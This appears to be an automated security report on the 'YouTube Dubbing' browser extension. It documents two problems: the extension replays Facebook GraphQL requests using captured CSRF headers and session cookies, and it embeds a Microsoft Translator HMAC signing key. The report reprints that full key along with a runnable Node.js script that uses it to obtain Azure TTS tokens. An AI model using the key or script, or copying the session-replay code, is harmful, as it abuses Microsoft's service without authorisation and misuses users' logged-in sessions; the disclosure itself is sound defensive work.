Is YouTube Dubbing – Translate & Dub safe?
YouTube Dubbing is medium risk. Active on Facebook, the background worker captures x-fb-lsd (CSRF token) and x-asbd-id (session ID), replays your GraphQL body with credentials:include so session cookies attach. DA observed four replays returning 200 within 140-300ms.…
Who publishes itzhiboli597 - no other listings under this identity, 5 shared hostnames
zhiboli597 - no other listings under this identity, 5 shared hostnames
What this publisher told the store about itself, and the other listings that told it the same thing.
Shared hosts - 5 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Facebook Session Reuse via Captured Auth Headers
Active on Facebook, the background worker captures x-fb-lsd (CSRF token) and x-asbd-id (session ID), replays your GraphQL body with credentials:include so session cookies attach.
DA observed four replays returning 200 within 140-300ms.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You open a Facebook page that contains a video while the extension is installed.
Your browser sends authenticated GraphQL requests to facebook.com/api/graphql to fetch video data.
The extension captures your Facebook CSRF and session-binding headers, then replays the same GraphQL POST body with your session cookies included.
Dynamic analysis observed four such replay requests, each arriving within 140-300 ms of the original browser request and each returning HTTP 200 OK.
- CSRF tokenx-fb-lsd: AJzBk7mG2nQ4p
Facebook's per-session request-validation token. Passing it lets the replay be accepted as if from your browser tab.
- Session binding IDx-asbd-id: 129477
An internal Facebook ID tying a request to an app session. The extension passes it unchanged to authenticate the GraphQL call.
- GraphQL operation namex-fb-friendly-name: UnifiedVideoRootQuery
Identifies which Facebook GraphQL operation is being replayed, typically video-related queries such as timeline feed or video root fetches.
- Session cookies (browser-attached)Cookie: c_user=100012345678901; xs=<session-token>
With credentials:include, Facebook cookies attach via the browser. The extension doesn't capture them directly, but they're in the replay.
Header interception, filtering, and GraphQL replay (background.js)
captureAuthHeaders — collects all x-* headers from intercepted Facebook requests
captureAuthHeaders(requestHeaders) { const captured = {}; if (!requestHeaders) return captured; for (const header of requestHeaders) { const name = header.name.toLowerCase(); // Collects every x-* header plus Authorization and Content-Type if ((name.startsWith('x-') || name === 'authorization' || name === 'content-type') && header.value) { captured[header.name] = header.value; } } return captured; // Example result: { 'x-fb-lsd': 'AJzBk7mG2nQ4p', 'x-asbd-id': '129477', // 'x-fb-friendly-name': 'UnifiedVideoRootQuery', 'content-type': 'application/x-www-form-urlencoded' }}fetchAndStoreFacebookMappings — replays the captured POST body using the user's live Facebook session
async fetchAndStoreFacebookMappings(tabId, originalUrl, originalBody, capturedHeaders) { if (!originalBody) return; // Filter the captured headers to only the four allowlisted values const replayHeaders = this.buildFacebookReplayHeaders(capturedHeaders); // FACEBOOK_REPLAY_HEADER_ALLOWLIST = ['content-type','x-fb-friendly-name','x-fb-lsd','x-asbd-id'] // POST the original GraphQL body back to Facebook with credentials: include // The browser attaches the user's active Facebook session cookies automatically const response = await fetch(originalUrl, { method: 'POST', headers: replayHeaders, body: originalBody, credentials: 'include' // <-- causes browser to attach Facebook login cookies }); const responseText = await response.text(); const jsonLines = parseNewlineDelimitedJson(responseText); const mappings = this.extractFacebookMappingsFromUnits(jsonLines); if (!response.ok && mappings.length === 0) return; if (mappings.length === 0) return; // Store video stream URLs for use by the dubbing feature await this.storeFacebookMappings(mappings);}HTTP 200 OK. Response contains video stream metadata including available dubbing locales and DASH manifest URLs. Four such responses were observed during dynamic analysis, with body sizes of 2,386, 2,624, 4,212, and 2,565 bytes.
- x-fb-lsd
- AJzBk7mG2nQ4p
- x-asbd-id
- 129477
- content-type
- application/x-www-form-urlencoded
- x-fb-friendly-name
- UnifiedVideoRootQuery
av=0&__user=0&__a=1&__req=k&__ccg=GOOD&__rev=1018344102&fb_api_req_friendly_name=UnifiedVideoRootQuery&variables=%7B%22videoID%22%3A%221234567890123456%22%7D&server_timestamps=true&doc_id=7291034567890123- www.facebook.com
Destination for the GraphQL replay requests. The extension POSTs to /api/graphql/ using the user's active session to fetch video mapping data. Operated by Meta Platforms, Inc.
- fbcdn.net
Facebook's CDN for media. The extension also intercepts *.fbcdn.net to capture auth headers via the same listener. Operated by Meta.
Hardcoded Microsoft Translator HMAC Signing Key
YouTube Dubbing embeds a hardcoded HMAC-SHA256 key and app-identity string, taken from Microsoft Translator's Android app.
Dubbing signs a request for a short-lived Azure JWT authorizing TTS calls.
The key sits as plain base64 in source.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You activate the dubbing feature on any page.
The extension needs Azure text-to-speech credentials to synthesize dubbed audio.
The background script uses a hardcoded HMAC key to sign a request that impersonates the Microsoft Translator Android app, then exchanges that signature for an Azure TTS JWT.
The signed POST goes to dev.microsofttranslator.com/apps/endpoint; the returned JWT authorizes subsequent calls to *.tts.speech.microsoft.com/cognitiveservices/v1.
- HMAC signing keyoik6PdDdMnOXemTbwvMn9de/h9lFnfBaCWbGMMZqqoSaQaqUOqjVGm5NqsmjcBI1x+sS9ugjB55HEJWRiFXYFw==
A base64 key producing signatures Microsoft's endpoint accepts. Anyone who extracts it can generate valid tokens without the extension.
- Impersonated app identityMSTranslatorAndroidApp
The identity string the extension presents to Microsoft's server, matching the registered Microsoft Translator Android app.
- Spoofed client version4.0.530a 5fe1dc6c
The extension reports itself as a specific Microsoft Translator Android release in the X-ClientVersion header of every token request.
- Hardcoded user ID0f04d16a175c411e
A fixed account identifier sent in every token request. All 200,000 extension users share this same identifier.
HMAC signature construction and Azure token fetch (background.js)
Hardcoded credentials — the signing material
const EDGE_AZURE_TTS_CONFIG = { SIGNATURE_APP_ID: 'MSTranslatorAndroidApp', // Identity to impersonate SIGNATURE_SECRET_BASE64: 'oik6PdDdMnOXemTbwvMn9de/h9lFnfBaCWbGMMZqqoSaQaqUOqjVGm5NqsmjcBI1x+sS9ugjB55HEJWRiFXYFw==', // HMAC-SHA256 key ENDPOINT_URL: 'https://dev.microsofttranslator.com/apps/endpoint?api-version=1.0', USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0', CLIENT_VERSION: '4.0.530a 5fe1dc6c', // Spoofed Android app version USER_ID: '0f04d16a175c411e', // Fixed identifier shared by all installs HOME_REGION: 'zh-Hans-CN', OUTPUT_FORMAT: 'audio-24khz-48kbitrate-mono-mp3'};buildSignature — derives the X-MT-Signature header from the hardcoded key
async function buildSignature(endpointUrl = CONFIG.ENDPOINT_URL, now = new Date()) { // Construct the plaintext message to sign const encodedPath = encodeURIComponent(endpointUrl.split('://')[1] ?? ''); const requestId = crypto.randomUUID().replace(/-/g, ''); const formattedDate = toRFC1123(now); const plaintext = (CONFIG.SIGNATURE_APP_ID + encodedPath + formattedDate + requestId).toLowerCase(); // Decode the hardcoded base64 key and compute HMAC-SHA256 const keyBytes = base64ToUint8Array(CONFIG.SIGNATURE_SECRET_BASE64); const hmacKey = await crypto.subtle.importKey('raw', keyBytes, { name: 'HMAC', hash: 'SHA-256' }, false, ['sign']); const hmacBytes = await crypto.subtle.sign('HMAC', hmacKey, new TextEncoder().encode(plaintext)); return { signature: `${CONFIG.SIGNATURE_APP_ID}::${uint8ArrayToBase64(hmacBytes)}::${formattedDate}::${requestId}`, requestId };}fetchEndpointToken — exchanges the signature for an Azure Cognitive Services JWT
async function fetchEndpointToken(date, signal) { const { signature, requestId } = await buildSignature(CONFIG.ENDPOINT_URL, date); return fetch(CONFIG.ENDPOINT_URL, { method: 'POST', headers: { 'Accept-Language': 'zh-Hans', 'X-ClientVersion': CONFIG.CLIENT_VERSION, // '4.0.530a 5fe1dc6c' 'X-UserId': CONFIG.USER_ID, // '0f04d16a175c411e' 'X-HomeGeographicRegion': CONFIG.HOME_REGION, 'X-ClientTraceId': requestId, 'X-MT-Signature': signature, // HMAC-signed with hardcoded key 'Content-Type': 'application/json; charset=utf-8' }, body: '', signal }); // Response: { t: '<JWT>', r: '<azure-resource-id>' } // JWT is then used as Authorization header for *.tts.speech.microsoft.com calls}HTTP 200 OK. Response contains a JWT in field 't' and Azure Cognitive Services subscription details in field 'r', including subscription-id and azure-resource-id for an Azure TTS account. Dynamic analysis confirmed this endpoint returns valid credentials when presented with the hardcoded key.
- X-UserId
- 0f04d16a175c411e
- Content-Type
- application/json; charset=utf-8
- X-MT-Signature
- MSTranslatorAndroidApp::Vh7k9mN2pQrZ8xYwL4jA3bC6dE1fG0hI5Kn==::Thu, 05 Jun 2025 14:22:11 GMT::a8f2c01d3e5b69701f3a4d5e6c7b8901
- Accept-Language
- zh-Hans
- X-ClientTraceId
- a8f2c01d3e5b69701f3a4d5e6c7b8901
- X-ClientVersion
- 4.0.530a 5fe1dc6c
- X-HomeGeographicRegion
- zh-Hans-CN
Uses the HMAC-SHA256 key hardcoded in the extension to request a token from dev.microsofttranslator.com. A successful HTTP 200 response with an Azure JWT confirms the key is currently valid.
- Node.js 18+
#!/usr/bin/env node// Reproducer: confirms that the HMAC key hardcoded in// YouTube Dubbing (oglffgiaiekgeicdgkdlnlkhliajdlja) v3.9.2// is accepted by Microsoft's endpoint and returns Azure TTS credentials.const { createHmac, randomUUID } = require('crypto');const https = require('https');const SIGNATURE_APP_ID = 'MSTranslatorAndroidApp';const SECRET_BASE64 = 'oik6PdDdMnOXemTbwvMn9de/h9lFnfBaCWbGMMZqqoSaQaqUOqjVGm5NqsmjcBI1x+sS9ugjB55HEJWRiFXYFw==';const ENDPOINT_URL = 'https://dev.microsofttranslator.com/apps/endpoint?api-version=1.0';const CLIENT_VERSION = '4.0.530a 5fe1dc6c';const USER_ID = '0f04d16a175c411e';const HOME_REGION = 'zh-Hans-CN';function toRFC1123(date) { return date.toUTCString();}function buildSignature(endpointUrl, date) { const encodedPath = encodeURIComponent(endpointUrl.split('://')[1] ?? ''); const requestId = randomUUID().replace(/-/g, ''); const formattedDate = toRFC1123(date); const plaintext = (SIGNATURE_APP_ID + encodedPath + formattedDate + requestId).toLowerCase(); const keyBytes = Buffer.from(SECRET_BASE64, 'base64'); const hmac = createHmac('sha256', keyBytes); hmac.update(plaintext); const sigB64 = hmac.digest('base64'); return { signature: `${SIGNATURE_APP_ID}::${sigB64}::${formattedDate}::${requestId}`, requestId };}function httpsRequest(options) { return new Promise((resolve, reject) => { const req = https.request(options, res => { let data = ''; res.on('data', chunk => data += chunk); res.on('end', () => resolve({ status: res.statusCode, body: data })); }); req.on('error', reject); req.end(); });}async function main() { const now = new Date(); const url = new URL(ENDPOINT_URL); const { signature, requestId } = buildSignature(ENDPOINT_URL, now); console.log('Sending token request to', ENDPOINT_URL); const res = await httpsRequest({ method: 'POST', hostname: url.hostname, path: url.pathname + url.search, headers: { 'Accept-Language': 'zh-Hans', 'X-ClientVersion': CLIENT_VERSION, 'X-UserId': USER_ID, 'X-HomeGeographicRegion': HOME_REGION, 'X-ClientTraceId': requestId, 'X-MT-Signature': signature, 'Content-Type': 'application/json; charset=utf-8', 'Content-Length': '0' } }); console.log('HTTP status:', res.status); console.log('Response body:', res.body); if (res.status === 200) { console.log('\n[CONFIRMED] Key accepted — Azure TTS credentials returned.'); } else { console.log('\n[NOT CONFIRMED] Unexpected status — key may have been rotated.'); }}main().catch(err => { console.error(err); process.exit(1); });- 1node yt-dub-ms-translator-hmac.js
- dev.microsofttranslator.com
Microsoft's translator endpoint service. Validates the HMAC-SHA256 signature and returns a short-lived Azure Cognitive Services JWT. Operated by Microsoft Corporation.
- eastasia.tts.speech.microsoft.com
Azure Cognitive Services text-to-speech API. The JWT above is used as the Authorization header. Other Azure regions may also apply depending on the response.
- yd.transduck.com
Server-time synchronization endpoint queried before signature generation to account for clock skew. Operated by the extension developer.